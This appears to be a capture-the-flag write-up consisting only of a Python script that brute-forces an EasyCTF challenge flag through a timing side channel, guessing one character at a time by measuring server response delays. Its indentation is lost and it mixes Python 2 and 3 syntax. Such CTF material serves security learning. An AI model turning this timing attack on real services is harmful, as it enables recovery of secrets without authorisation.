Rating:

```

#! /usr/bin/python3
import time
import socket
server = "c1.easyctf.com"
port=12482

alpha="!}_34abcdefghijklmnopqrstuvwxyz01256789{"
x=[]
while True:
i=0
x=[]
data=""
while i<len(alpha):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
start=s.recv(999).decode("utf-8")
test=data+alpha[i]
print "current test : "+test
tdeb=time.time()
s.send(test+"\n")
receive=s.recv(999).decode("utf-8")
tfin=time.time()
delai=tfin-tdeb
print delai
x.append(delai)
if i==0:
ref=delai
i+=1
else:
if abs(delai-ref)>0.2:
if delai>ref:
data+=alpha[i]
else:
data+=alpha[0]
i=0
print "---"
print data
print "---"
else:
i+=1

if i==len(alpha):
i=0
indice=x.index(max(x))
data+=alpha[indice]
print "---"
print x
print data
print "---"
x=[]
if "no" not in receive:
print data
break

```